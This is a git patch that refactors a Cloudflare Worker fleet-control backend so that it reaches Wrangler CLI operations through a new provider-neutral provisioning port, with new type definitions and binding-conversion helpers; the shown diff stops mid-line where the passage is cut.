From fa6e67e9737eacd7fc0ad8c4dfed23c8744db9b0 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 26 Aug 2026 06:38:51 +0400 Subject: [PATCH 001/169] refactor(fleet-control): isolate the Wrangler CLI behind a PlainWorkerProvisioningApi port MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Checkpoint B1a of the Worker-native control-plane work. WranglerLoopBackend now reaches the provider only through PlainWorkerProvisioningApi (extends the unchanged PlainWorkerRouteApi); every CLI mechanic — argv, JSON parsing, staging directories, generated Wrangler config, secret input files, scratch export files, and the durable-store write with its independent integrity comparison — lives in the new WranglerPlainWorkerProvisioningApi adapter. Provider-neutral policy stays in the backend for extraction into a shared core (B1b) reused by the direct Cloudflare-API backend (B2). Public API, constructor options, CLI argv at all 11 call sites, generated configuration, and the existing backend suite (74/74, unedited) are unchanged. Deliberate behavior differences from the previous implementation, each pinned by a test: 1. Export integrity is computed independently of the durable store's consumption (an under-reading store can no longer self-certify). 2. A pre-dispatch rejection (fence assertion or duration preflight) on createDatabase / uploadCandidate / createDeployment propagates raw — no readback, no rollback. 3. Upload scratch-cleanup failure travels on the value channel and is surfaced after reconciliation; WorkerDeploymentError is constructed once with an AggregateError cause; a pre-dispatch rejection whose cleanup also failed rejects with an AggregateError of both instead of masking. 4. A d1 binding with id '' and database_id set is refused at classification (adapter-level only; end-to-end ordering is unchanged). 5. PlainWorkerVersionDetail.versionId preserves provider absence. 6. findDatabase refuses a `d1 list` row with uuid ''. 7. deleteWorkerScript asserts the fence before the not-found classifier, so a lease denial can no longer be swallowed as absence. 8. Upload scratch is adapter-owned for the duration of uploadCandidate and is allocated only when an upload is needed, after the status/version reads. Also adds plainWorkerBindingsToProviderShape + assertSupportedPlainWorkerBindings (reconstruct-and-delegate over the neutral binding shape), adapter and port-contract test suites, and shared test fixtures. The port is not exported yet; the fleet-control changeset for the Worker-native control plane lands with Checkpoint C2. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01At85hntr2BHB6jwKFoFaRD --- .../src/provider-binding-inventory.ts | 82 +- packages/fleet-control/src/types.ts | 295 ++++ .../src/wrangler-loop-backend.ts | 1045 ++++++-------- .../wrangler-plain-worker-provisioning-api.ts | 665 +++++++++ .../test/fixtures/plain-worker-port-probe.ts | 86 ++ .../test/fixtures/wrangler-fs-mock.ts | 101 ++ ...rangler-loop-backend-port-contract.test.ts | 675 +++++++++ ...gler-plain-worker-provisioning-api.test.ts | 1240 +++++++++++++++++ 8 files changed, 3592 insertions(+), 597 deletions(-) create mode 100644 packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts create mode 100644 packages/fleet-control/test/fixtures/plain-worker-port-probe.ts create mode 100644 packages/fleet-control/test/fixtures/wrangler-fs-mock.ts create mode 100644 packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts create mode 100644 packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index e5e630a2..9fdede3c 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -1,6 +1,9 @@ // SPDX-License-Identifier: Apache-2.0 -import type { ProviderBindingIdentity } from './types.js'; +import type { + PlainWorkerVersionBinding, + ProviderBindingIdentity, +} from './types.js'; function bindingKey(binding: ProviderBindingIdentity): string { return `${binding.type}\u0000${binding.name}`; @@ -124,6 +127,83 @@ export function assertSupportedProviderBindings( return assertEveryProviderBindingConsumed(rawBindings, consumed, context); } +export function plainWorkerBindingsToProviderShape( + bindings: readonly PlainWorkerVersionBinding[], +): readonly unknown[] { + return bindings.map((binding) => { + switch (binding.type) { + case 'd1': + return { + type: 'd1', + name: binding.name, + id: binding.databaseId, + }; + case 'durable-object': + return { + type: 'durable_object_namespace', + name: binding.name, + namespace_id: binding.namespaceId, + class_name: binding.className, + }; + case 'service': + return { + type: 'service', + name: binding.name, + service: binding.service, + }; + case 'queue-producer': + return { + type: 'queue', + name: binding.name, + queue_name: binding.queueName, + }; + case 'r2-bucket': + return { + type: 'r2_bucket', + name: binding.name, + bucket_name: binding.bucketName, + }; + case 'plain-text': + return { + type: 'plain_text', + name: binding.name, + text: binding.value, + }; + case 'secret-text': + return { type: 'secret_text', name: binding.name }; + case 'unsupported': + if (binding.issue === 'not-object') return undefined; + // For `invalid-type` the reconstructed type changes no message (either spelling + // fails the type check); for `unsupported-type` it preserves HEAD's `unsupported + // or malformed` refusal instead of an index-based `no valid type`. Carried as a + // provider fact for B1b/B2 diagnostics. + return { type: binding.providerType, name: binding.name }; + } + // Exhaustiveness tripwire: a new normalized binding must define wire reconstruction. + binding satisfies never; + return undefined; + }); +} + +export function assertSupportedPlainWorkerBindings( + bindings: readonly PlainWorkerVersionBinding[], + context: string, +): readonly ProviderBindingIdentity[] { + return assertSupportedProviderBindings( + plainWorkerBindingsToProviderShape(bindings), + new Set([ + 'd1', + 'durable_object_namespace', + 'service', + 'queue', + 'r2_bucket', + 'plain_text', + 'secret_text', + ]), + context, + ); +} + export function assertProviderBindingIdentitiesMatchInspection( inspection: Readonly<{ databaseIds: readonly string[]; diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 5baaf851..ffc999c5 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -518,6 +518,190 @@ export interface PlainWorkerCustomDomain { readonly service: string; } +/** Provider facts for one D1 database inventory entry. */ +export interface PlainWorkerDatabaseInventoryEntry { + /** Provider database identifier, when present and well formed. */ + readonly databaseId: string | undefined; + /** Provider database name, when present and well formed. */ + readonly name: string | undefined; +} + +/** Provider facts for one ordinary Worker version binding. */ +export type PlainWorkerVersionBinding = + | Readonly<{ + type: 'd1'; + name: string | undefined; + databaseId: string | undefined; + }> + | Readonly<{ + type: 'durable-object'; + name: string | undefined; + className: string | undefined; + namespaceId: string | undefined; + }> + | Readonly<{ + type: 'service'; + name: string | undefined; + service: string | undefined; + }> + | Readonly<{ + type: 'queue-producer'; + name: string | undefined; + queueName: string | undefined; + }> + | Readonly<{ + type: 'r2-bucket'; + name: string | undefined; + bucketName: string | undefined; + }> + | Readonly<{ + type: 'plain-text'; + name: string | undefined; + value: string | undefined; + }> + | Readonly<{ + type: 'secret-text'; + name: string | undefined; + }> + | Readonly<{ + type: 'unsupported'; + name: string | undefined; + /** The provider binding was not an object, so it has no raw type fact. */ + issue: 'not-object'; + }> + | Readonly<{ + type: 'unsupported'; + name: string | undefined; + /** Raw provider binding type, when the invalid wire value was a string. */ + providerType: string | undefined; + issue: 'invalid-type'; + }> + | Readonly<{ + type: 'unsupported'; + name: string | undefined; + /** Raw unsupported provider binding type. */ + providerType: string; + issue: 'unsupported-type'; + }>; + +/** Provider facts for one ordinary Worker version summary. */ +export interface PlainWorkerVersionSummary { + /** Provider version identifier, when present and well formed. */ + readonly versionId: string | undefined; + /** Fleet tag attached to the version, when present and well formed. */ + readonly tag: string | undefined; +} + +/** Provider facts for one ordinary Worker version and its bindings. */ +export interface PlainWorkerVersionDetail extends PlainWorkerVersionSummary { + /** Provider bindings attached to the version. */ + readonly bindings: readonly PlainWorkerVersionBinding[]; +} + +/** Provider facts for an ordinary Worker's deployment status. */ +export interface PlainWorkerDeploymentStatus { + /** Traffic assignments reported by the provider. */ + readonly versions: readonly { + /** Provider version identifier, when present and well formed. */ + readonly versionId: string | undefined; + /** Provider traffic percentage, when present. */ + readonly percentage: number | undefined; + }[]; +} + +/** Result of a durable ordinary-Worker database export. */ +export interface PlainWorkerDatabaseExportResult { + /** Durable location returned by the export store. */ + readonly location: string; + /** Committed export size in bytes. */ + readonly size: number; + /** Lowercase hexadecimal SHA-256 digest of the complete export. */ + readonly sha256: string; +} + +/** Outcome of a provider mutation that may have been dispatched. */ +export type PlainWorkerMutationOutcome = + | Readonly<{ status: 'succeeded' }> + | Readonly<{ status: 'failed'; error: unknown }>; + +/** + * Adapter scratch-cleanup outcome. A failure is never thrown by the adapter + * after dispatch; the caller surfaces it after reconciliation. An adapter with + * no adapter-owned scratch always reports `succeeded`. + */ +export type PlainWorkerCleanupOutcome = + | Readonly<{ status: 'succeeded' }> + | Readonly<{ status: 'failed'; error: unknown }>; + +/** Upload outcome including the adapter scratch-cleanup outcome. */ +export type PlainWorkerUploadOutcome = PlainWorkerMutationOutcome & + Readonly<{ cleanup: PlainWorkerCleanupOutcome }>; + +/** Shared provider mechanics for an ordinary Worker candidate upload. */ +interface PlainWorkerUploadIntentBase { + /** Provider script name. */ + readonly scriptName: string; + /** Fleet tag attached to the uploaded candidate. */ + readonly candidateTag: string; + /** Main module path written into the generated configuration. */ + readonly mainModule: string; + /** Worker modules written into the adapter-owned staging directory. */ + readonly modules: readonly WorkerModule[]; + /** Worker compatibility date. */ + readonly compatibilityDate: string; + /** Worker compatibility flags, preserving provider-config omission. */ + readonly compatibilityFlags: readonly string[] | undefined; + /** Worker bindings written into the generated configuration and secrets file. */ + readonly bindings: { + readonly plainText: readonly { + readonly name: string; + readonly value: string; + }[]; + readonly secrets: readonly { + readonly name: string; + readonly value: string; + }[]; + readonly d1: readonly { + readonly name: string; + readonly databaseId: string; + readonly databaseName: string; + }[]; + readonly durableObjects: readonly { + readonly name: string; + readonly className: string; + }[]; + readonly services: readonly { + readonly name: string; + readonly service: string; + }[]; + readonly queueProducers: readonly { + readonly name: string; + readonly queueName: string; + }[]; + readonly r2Buckets: readonly { + readonly name: string; + readonly bucketName: string; + }[]; + }; + /** Worker resource limits written into the generated configuration. */ + readonly limits: { readonly cpuMs: number | undefined }; + /** Ordinary Worker public-access mechanics applied by this upload. */ + readonly publicAccess: { + readonly workersDevEnabled: boolean; + readonly previewUrlsEnabled: boolean; + }; +} + +/** Intent for an initial deploy or staged ordinary Worker version upload. */ +export type PlainWorkerUploadIntent = PlainWorkerUploadIntentBase & + ( + | Readonly<{ + mode: 'initial'; + durableObjectMigrations: readonly DurableObjectMigration[]; + }> + | Readonly<{ mode: 'staged' }> + ); + export interface PlainWorkerRouteApi { withMutationFence( fence: ExternalMutationFence, @@ -617,6 +801,117 @@ export interface PlainWorkerRouteApi { ): Promise; } +/** + * Provider-neutral port whose methods return provider facts and perform + * provider mechanics. Absence policy, malformed-fact refusals, ordering, + * reconciliation, and compensation belong to the caller. + * + * A method whose result type cannot represent a malformed provider fact refuses + * it in the adapter (e.g. `getDatabase` (`DatabaseReference` has required string + * fields) and `exportDatabase` (`location` is required)); every other + * malformed-fact refusal belongs to the caller. + * + * A method declared here that accepts an `ExternalMutationFence`, other than + * `deleteDatabaseFenced`, asserts it immediately before every provider request + * it issues through the command runner or route API. `deleteDatabaseFenced` + * runs inside `withMutationFence` and relies on the route API's per-request + * assertion (HEAD parity, D10); whether the direct-API adapter additionally + * pre-asserts is a named conformance question for B2. + * + * A method that resolves a `PlainWorkerMutationOutcome` over a transport that + * asserts per request must ALSO assert explicitly before dispatch, so a lost + * lease rejects instead of resolving `failed` and triggering readback. + * + * `withMutationFence` is re-entrant with the same fence; a + * `PlainWorkerRouteApi.withMutationFence` implementation is not required to + * treat entry as an ownership assertion (assertion belongs to each mutating + * request). An implementation that also asserts on entry is tolerated — the + * adapter's re-entrancy short-circuit keeps the assertion count stable. Inherited + * `PlainWorkerRouteApi` members retain their own contract. + * + * `undefined` and `'absent'` mean provider absence only. Other failures reject + * with the provider error unmodified, and fence failures are never classified + * as absence. Methods without an absence-typed result do not classify absence. + * + * `createDatabase`, `uploadCandidate`, and `createDeployment` resolve a failed + * outcome only after a provider request was dispatched and failed or its result + * became unknown. They reject failures that provably predate dispatch, including + * fence assertion and local preparation failures. Other mutations reject on + * failure except for their documented absence result. + */ +export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi { + /** Maximum duration of any one provider mutation request after assertion. */ + readonly maxMutationDurationMs: number; + /** Whether immutable-ID D1 reads and deletion are both available. */ + readonly supportsExactDatabaseDeletion: boolean; + /** Lists all D1 database inventory facts visible to the adapter. */ + listDatabases(): Promise; + /** Reads a D1 database, returning undefined only for provider absence. */ + getDatabase(databaseId: string): Promise; + /** Creates a D1 database and reports a dispatched mutation outcome. */ + createDatabase( + name: string, + fence: ExternalMutationFence, + ): Promise; + /** Prevents the shared core from using the inherited unfenced deletion. */ + readonly deleteDatabase?: never; + /** Deletes a D1 database by immutable ID through the fenced route API. */ + deleteDatabaseFenced( + databaseId: string, + fence: ExternalMutationFence, + ): Promise; + /** Reads deployment facts, returning undefined only for provider absence. */ + deploymentStatus( + scriptName: string, + ): Promise; + /** + * Lists the provider's Worker version inventory, or `undefined` for provider + * absence. Bounded pagination is an open contract question for the direct-API + * adapter. + */ + listVersions( + scriptName: string, + ): Promise; + /** Strictly reads one version and never classifies provider absence. */ + viewVersion( + scriptName: string, + versionId: string, + ): Promise; + /** Reads one version, returning undefined only for provider absence. */ + findVersion( + scriptName: string, + versionId: string, + ): Promise; + /** + * Uploads a candidate and reports dispatch and cleanup outcomes separately. + * Scratch, if any, is adapter-owned and exists only for the duration of the + * call. If a pre-dispatch failure (fence assertion or local preparation) and + * scratch cleanup both occur, rejects with an `AggregateError` containing the + * pre-dispatch error followed by the cleanup error; neither failure is + * discarded. + */ + uploadCandidate( + intent: PlainWorkerUploadIntent, + fence: ExternalMutationFence, + ): Promise; + /** Creates a deployment and reports a dispatched mutation outcome. */ + createDeployment( + scriptName: string, + versions: readonly { versionId: string; percentage: number }[], + fence: ExternalMutationFence, + ): Promise; + /** Deletes a Worker script, returning absent only for provider absence. */ + deleteWorkerScript( + scriptName: string, + fence: ExternalMutationFence, + ): Promise<'deleted' | 'absent'>; + /** Exports a D1 database into the durable store with independent integrity. */ + exportDatabase( + database: { readonly id: string; readonly name: string }, + fence: ExternalMutationFence, + ): Promise; +} + export interface FleetStateLease extends ExternalMutationFence { readonly tenantTag: string; readonly environment: string; diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts index 10229815..a1f96831 100644 --- a/packages/fleet-control/src/wrangler-loop-backend.ts +++ b/packages/fleet-control/src/wrangler-loop-backend.ts @@ -1,11 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -import { createHash } from 'node:crypto'; -import { createReadStream } from 'node:fs'; -import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises'; -import { tmpdir } from 'node:os'; -import { join, resolve } from 'node:path'; -import { Readable } from 'node:stream'; import { provisionDeploymentIdentityProtocol, readDeploymentIdentityProtocol, @@ -20,7 +14,7 @@ import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js'; import { applyMigrationsWithLedger } from './migration-ledger.js'; -import { assertSupportedProviderBindings } from './provider-binding-inventory.js'; +import { assertSupportedPlainWorkerBindings } from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { ActiveRouteAttestation, @@ -38,16 +32,23 @@ import type { LiveDeployment, MaintenanceHealth, PlainWorkerCustomDomain, + PlainWorkerProvisioningApi, PlainWorkerRouteApi, + PlainWorkerUploadOutcome, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, PromotionGuard, ProvisioningBackend, SeedDeploymentIdentityOptions, } from './types.js'; import { targetDurableObjectTag } from './validation.js'; -import type { CommandResult, CommandRunner } from './wrangler-runner.js'; +import { WranglerPlainWorkerProvisioningApi } from './wrangler-plain-worker-provisioning-api.js'; +import type { CommandRunner } from './wrangler-runner.js'; const PLAIN_INGRESS_CONTRACT = 'guarded-object-v1'; const PLAIN_INGRESS_MODULE = '__anchorage_guarded_entry__.js'; +const EXACT_DATABASE_DELETION_REQUIRED = + 'plain Worker route API does not support exact-ID D1 database deletion'; const JAVASCRIPT_CONTENT_TYPES = new Set([ 'application/javascript', 'application/javascript+module', @@ -63,36 +64,6 @@ interface DeploymentStatus { readonly versions: readonly DeploymentVersion[]; } -function parseJson(value: string, operation: string): unknown { - try { - return JSON.parse(value); - } catch (cause) { - throw new Error(`wrangler ${operation} returned invalid JSON`, { cause }); - } -} - -function asArray(value: unknown): readonly unknown[] { - if (Array.isArray(value)) return value; - if (value && typeof value === 'object' && 'result' in value) { - const result = (value as { result?: unknown }).result; - return Array.isArray(result) ? result : result ? [result] : []; - } - return []; -} - -function field(value: unknown, name: string): unknown { - return value && typeof value === 'object' - ? (value as Record)[name] - : undefined; -} - -function isWranglerNotFound(error: unknown): boolean { - return ( - error instanceof Error && - /not found|10090|does not exist|has no deployments/i.test(error.message) - ); -} - function restD1Bindings( bindings: readonly unknown[], operation: string, @@ -103,17 +74,6 @@ function restD1Bindings( return bindings as readonly string[]; } -function versionId(value: unknown): string | undefined { - const id = field(value, 'id') ?? field(value, 'version_id'); - return typeof id === 'string' ? id : undefined; -} - -function versionTag(value: unknown): string | undefined { - const annotations = field(value, 'annotations'); - const tag = field(annotations, 'workers/tag') ?? field(value, 'tag'); - return typeof tag === 'string' ? tag : undefined; -} - export function plainWorkerIngressModule(spec: DeploymentSpec): Readonly<{ name: string; content: string; @@ -221,11 +181,8 @@ export default { export class WranglerLoopBackend implements ProvisioningBackend { readonly kind = 'plain-worker' as const; - readonly #runner: CommandRunner; - readonly #routeApi: PlainWorkerRouteApi; + readonly #api: PlainWorkerProvisioningApi; readonly #fetch: typeof fetch; - readonly #exportDirectory: string; - readonly #exportStore: DurableDatabaseExportStore; readonly #maintenanceRequestTimeoutMs: number; readonly #clock: () => number; @@ -251,16 +208,18 @@ export class WranglerLoopBackend implements ProvisioningBackend { ) { throw new Error('maintenance request timeout must be positive'); } - this.#runner = options.runner; - this.#routeApi = options.routeApi; + this.#api = new WranglerPlainWorkerProvisioningApi({ + runner: options.runner, + routeApi: options.routeApi, + exportDirectory: options.exportDirectory, + exportStore: options.exportStore, + }); this.#fetch = options.fetch ?? fetch; - this.#exportDirectory = resolve(options.exportDirectory); - this.#exportStore = options.exportStore; this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; this.#clock = options.clock ?? Date.now; } - async #assertMutationFence(fence: ExternalMutationFence): Promise { + #assertMutationDuration(fence: ExternalMutationFence): void { if ( !Number.isSafeInteger(fence.mutationLeaseTtlMs) || fence.mutationLeaseTtlMs < 1 @@ -268,41 +227,36 @@ export class WranglerLoopBackend implements ProvisioningBackend { throw new Error('external mutation fence lease TTL must be positive'); } if ( - !Number.isSafeInteger(this.#runner.maxDurationMs) || - this.#runner.maxDurationMs < 1 + !Number.isSafeInteger(this.#api.maxMutationDurationMs) || + this.#api.maxMutationDurationMs < 1 ) { throw new Error('Wrangler command maximum duration must be positive'); } - if (this.#runner.maxDurationMs >= fence.mutationLeaseTtlMs) { + if (this.#api.maxMutationDurationMs >= fence.mutationLeaseTtlMs) { throw new Error( 'Wrangler command maximum duration must be below the external mutation fence lease TTL', ); } - await fence.assertOwned(); } - async #runMutation( - fence: ExternalMutationFence, - arguments_: readonly string[], - options?: { readonly input?: string; readonly cwd?: string }, - ): Promise { - await this.#assertMutationFence(fence); - return this.#runner.run(arguments_, options); + async #assertMutationFence(fence: ExternalMutationFence): Promise { + this.#assertMutationDuration(fence); + await fence.assertOwned(); } async findDatabase( spec: DeploymentSpec, ): Promise { - const listed = await this.#runner.run(['d1', 'list', '--json']); - const matches = asArray(parseJson(listed.stdout, 'd1 list')).filter( - (database) => field(database, 'name') === spec.databaseName, + const listed = await this.#api.listDatabases(); + const matches = listed.filter( + (database) => database.name === spec.databaseName, ); if (matches.length > 1) { throw new Error(`multiple D1 databases are named '${spec.databaseName}'`); } if (matches[0]) { - const id = field(matches[0], 'uuid'); - if (typeof id !== 'string') throw new Error('D1 list result has no uuid'); + const id = matches[0].databaseId; + if (!id) throw new Error('D1 list result has no uuid'); return { id, name: spec.databaseName, created: false }; } return undefined; @@ -311,47 +265,28 @@ export class WranglerLoopBackend implements ProvisioningBackend { async getDatabase( databaseId: string, ): Promise { - const getDatabase = this.#routeApi.getDatabase; - if (getDatabase) { - return getDatabase.call(this.#routeApi, databaseId); - } - let result: CommandResult; - try { - result = await this.#runner.run(['d1', 'info', databaseId, '--json']); - } catch (error) { - if (isWranglerNotFound(error)) return undefined; - throw error; - } - const parsed = parseJson(result.stdout, 'd1 info'); - const body = field(parsed, 'result') ?? parsed; - const id = field(body, 'uuid'); - const name = field(body, 'name'); - if (id !== databaseId || typeof name !== 'string' || name.length === 0) { - throw new Error('D1 info result has an invalid uuid or name'); - } - return { id: databaseId, name, created: false }; + return this.#api.getDatabase(databaseId); } async ensureDatabase( spec: DeploymentSpec, fence: ExternalMutationFence, ): Promise { - await this.#assertMutationFence(fence); - try { - await this.#runner.run(['d1', 'create', spec.databaseName]); - } catch (cause) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDatabase(spec.databaseName, fence); + if (outcome.status === 'failed') { const recovered = await this.findDatabase(spec); if (recovered) { const owner = await this.readDeploymentIdentity(recovered, fence); if (owner !== undefined) { throw new Error( `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`, - { cause }, + { cause: outcome.error }, ); } return { ...recovered, created: true }; } - throw cause; + throw outcome.error; } const resolved = await this.findDatabase(spec); if (!resolved) { @@ -368,8 +303,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { fence: ExternalMutationFence, bindings: readonly unknown[] = [], ): Promise>[]> { - return this.#routeApi.withMutationFence(fence, () => - this.#routeApi.queryDatabase( + return this.#api.withMutationFence(fence, () => + this.#api.queryDatabase( database.id, sql, restD1Bindings(bindings, 'plain Worker'), @@ -412,8 +347,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { { query: (sql, bindings) => this.#query(database, sql, fence, bindings), batch: (statements) => - this.#routeApi.withMutationFence(fence, () => - this.#routeApi.batchDatabase( + this.#api.withMutationFence(fence, () => + this.#api.batchDatabase( database.id, statements.map((statement) => ({ sql: statement.sql, @@ -432,10 +367,10 @@ export class WranglerLoopBackend implements ProvisioningBackend { async findApplicationR2Bucket( resource: import('./types.js').ApplicationR2Binding, ): Promise { - if (!this.#routeApi.getR2Bucket) { + if (!this.#api.getR2Bucket) { throw new Error('plain Worker route API does not support application R2'); } - const found = await this.#routeApi.getR2Bucket( + const found = await this.#api.getR2Bucket( resource.bucketName, resource.jurisdiction, ); @@ -448,11 +383,11 @@ export class WranglerLoopBackend implements ProvisioningBackend { resource: import('./types.js').ApplicationR2Binding, fence: ExternalMutationFence, ): Promise { - if (!this.#routeApi.createR2Bucket) { + if (!this.#api.createR2Bucket) { throw new Error('plain Worker route API does not support application R2'); } try { - await this.#routeApi.createR2Bucket(resource, fence); + await this.#api.createR2Bucket(resource, fence); } catch (error) { const reconciled = await this.findApplicationR2Bucket(resource); if (reconciled) return reconciled; @@ -480,10 +415,10 @@ export class WranglerLoopBackend implements ProvisioningBackend { resource: import('./types.js').ApplicationR2Binding, _fence: ExternalMutationFence, ): Promise { - if (!this.#routeApi.listWorkerR2Attachments) { + if (!this.#api.listWorkerR2Attachments) { throw new Error('plain Worker route API cannot scan R2 attachments'); } - const attachments = await this.#routeApi.listWorkerR2Attachments( + const attachments = await this.#api.listWorkerR2Attachments( resource.bucketName, ); if (attachments.length > 0) { @@ -497,24 +432,24 @@ export class WranglerLoopBackend implements ProvisioningBackend { resource: import('./types.js').ApplicationR2Binding, _fence: ExternalMutationFence, ): Promise { - if (!this.#routeApi.assertR2BucketEmpty) { + if (!this.#api.assertR2BucketEmpty) { throw new Error('plain Worker route API cannot inspect R2 contents'); } - await this.#routeApi.assertR2BucketEmpty(resource); + await this.#api.assertR2BucketEmpty(resource); } async deleteApplicationR2Bucket( resource: import('./types.js').ApplicationR2Binding, fence: ExternalMutationFence, ): Promise { - if (!this.#routeApi.deleteR2Bucket) { + if (!this.#api.deleteR2Bucket) { throw new Error('plain Worker route API cannot delete application R2'); } const current = await this.findApplicationR2Bucket(resource); if (!current || current.creationDate !== resource.creationDate) { throw new Error(`R2 bucket '${resource.bucketName}' ownership changed`); } - await this.#routeApi.deleteR2Bucket(resource, fence); + await this.#api.deleteR2Bucket(resource, fence); if (await this.findApplicationR2Bucket(resource)) { throw new Error( `R2 bucket '${resource.bucketName}' remains after delete`, @@ -525,25 +460,15 @@ export class WranglerLoopBackend implements ProvisioningBackend { async #deploymentStatus( spec: DeploymentSpec, ): Promise { - let result: CommandResult; - try { - result = await this.#runner.run([ - 'deployments', - 'status', - '--name', - spec.scriptName, - '--json', - ]); - } catch (error) { - if (isWranglerNotFound(error)) return undefined; - throw error; - } - const parsed = parseJson(result.stdout, 'deployments status'); - const body = field(parsed, 'result') ?? parsed; - const versions = asArray(field(body, 'versions')).map((version) => { - const id = versionId(version); - const percentage = Number(field(version, 'percentage')); - if (!id || !Number.isFinite(percentage) || percentage < 0) { + const status = await this.#api.deploymentStatus(spec.scriptName); + if (!status) return undefined; + const versions = status.versions.map(({ versionId: id, percentage }) => { + if ( + !id || + percentage === undefined || + !Number.isFinite(percentage) || + percentage < 0 + ) { throw new Error('wrangler deployment status has an invalid version'); } return { id, percentage }; @@ -556,64 +481,39 @@ export class WranglerLoopBackend implements ProvisioningBackend { async #listVersions( spec: DeploymentSpec, - ): Promise { - try { - const listed = await this.#runner.run([ - 'versions', - 'list', - '--name', - spec.scriptName, - '--json', - ]); - return asArray(parseJson(listed.stdout, 'versions list')); - } catch (error) { - if (isWranglerNotFound(error)) return undefined; - throw error; - } + ): Promise { + return this.#api.listVersions(spec.scriptName); } - async #viewVersion(spec: DeploymentSpec, id: string): Promise { - const viewed = await this.#runner.run([ - 'versions', - 'view', - id, - '--name', - spec.scriptName, - '--json', - ]); - return parseJson(viewed.stdout, 'versions view'); - } - - #plainTextBindings(version: unknown): ReadonlyMap { - const resources = field(version, 'resources'); - const bindings = asArray(field(resources, 'bindings')); + #plainTextBindings( + version: PlainWorkerVersionDetail, + ): ReadonlyMap { return new Map( - bindings.flatMap((binding) => { - if (field(binding, 'type') !== 'plain_text') return []; - const name = field(binding, 'name'); - const text = field(binding, 'text'); - return typeof name === 'string' && typeof text === 'string' - ? [[name, text] as const] - : []; - }), + version.bindings.flatMap((binding) => + binding.type === 'plain-text' && + typeof binding.name === 'string' && + typeof binding.value === 'string' + ? [[binding.name, binding.value] as const] + : [], + ), ); } async #matchingCandidateIds( spec: DeploymentSpec, - versions?: readonly unknown[], + versions?: readonly PlainWorkerVersionSummary[], ): Promise { const digest = deploymentSpecDigest(spec); const listed = versions ?? (await this.#listVersions(spec)); if (!listed) return []; - const tagged = listed.filter((version) => versionTag(version) === digest); + const tagged = listed.filter((version) => version.tag === digest); const matches: string[] = []; for (const candidate of tagged) { - const id = versionId(candidate); + const id = candidate.versionId; if (!id) { throw new Error('wrangler versions list result has no version id'); } - const version = await this.#viewVersion(spec, id); + const version = await this.#api.viewVersion(spec.scriptName, id); const plainText = this.#plainTextBindings(version); if (plainText.get('FLEET_SPEC_DIGEST') !== digest) { throw new Error( @@ -629,7 +529,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { async #findCandidate( spec: DeploymentSpec, - versions?: readonly unknown[], + versions?: readonly PlainWorkerVersionSummary[], ): Promise { const digest = deploymentSpecDigest(spec); const matches = await this.#matchingCandidateIds(spec, versions); @@ -644,15 +544,18 @@ export class WranglerLoopBackend implements ProvisioningBackend { async #expectedCandidate( spec: DeploymentSpec, artifactVersion: string, - versions?: readonly unknown[], + versions?: readonly PlainWorkerVersionSummary[], ): Promise { const listed = versions ?? (await this.#listVersions(spec)); - if (!listed?.some((version) => versionId(version) === artifactVersion)) { + if (!listed?.some((version) => version.versionId === artifactVersion)) { throw new Error( `Worker '${spec.scriptName}' is missing persisted artifact version '${artifactVersion}'`, ); } - const version = await this.#viewVersion(spec, artifactVersion); + const version = await this.#api.viewVersion( + spec.scriptName, + artifactVersion, + ); const plainText = this.#plainTextBindings(version); if ( plainText.get('FLEET_SPEC_DIGEST') !== deploymentSpecDigest(spec) || @@ -665,13 +568,12 @@ export class WranglerLoopBackend implements ProvisioningBackend { return artifactVersion; } - #databaseIds(version: unknown): readonly string[] { - const resources = field(version, 'resources'); - return asArray(field(resources, 'bindings')).flatMap((binding) => { - if (field(binding, 'type') !== 'd1') return []; - const id = field(binding, 'id') ?? field(binding, 'database_id'); - return typeof id === 'string' ? [id] : []; - }); + #databaseIds(version: PlainWorkerVersionDetail): readonly string[] { + return version.bindings.flatMap((binding) => + binding.type === 'd1' && typeof binding.databaseId === 'string' + ? [binding.databaseId] + : [], + ); } async #assertExistingWorkerIdentity( @@ -685,7 +587,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } for (const deployed of deployment.versions) { - const version = await this.#viewVersion(spec, deployed.id); + const version = await this.#api.viewVersion(spec.scriptName, deployed.id); const plainText = this.#plainTextBindings(version); const databaseIds = this.#databaseIds(version); const digest = plainText.get('FLEET_SPEC_DIGEST'); @@ -720,7 +622,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } const [version, databaseId] = await Promise.all([ - this.#viewVersion(spec, candidateId), + this.#api.viewVersion(spec.scriptName, candidateId), persistedDatabaseId ? Promise.resolve(persistedDatabaseId) : this.findDatabase(spec).then((database) => database?.id), @@ -741,7 +643,10 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } for (const deployed of status?.versions ?? []) { - const deployedVersion = await this.#viewVersion(spec, deployed.id); + const deployedVersion = await this.#api.viewVersion( + spec.scriptName, + deployed.id, + ); const deployedPlainText = this.#plainTextBindings(deployedVersion); const deployedDatabaseIds = this.#databaseIds(deployedVersion); const deployedDigest = 